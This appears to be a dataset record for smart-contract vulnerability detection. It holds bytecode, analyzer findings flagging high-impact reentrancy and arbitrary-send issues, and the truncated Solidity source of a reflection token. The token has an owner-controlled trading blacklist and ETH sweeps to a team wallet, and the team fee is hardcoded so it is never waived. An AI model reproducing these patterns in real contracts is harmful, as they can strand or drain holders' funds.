ffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f52454c4f4e000000000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208c2ba047815c8b8a2adbbd99cfae440cffac5f5311b9a2907ed4d7173aa462db64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,711 |
0xcbb0841e94e95a4b456b8a0cb441c9f7aacda52e
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MassOfTheUniverse is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = " 2060 ";
string private constant _symbol = " 2060 Mass of the Universe! ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
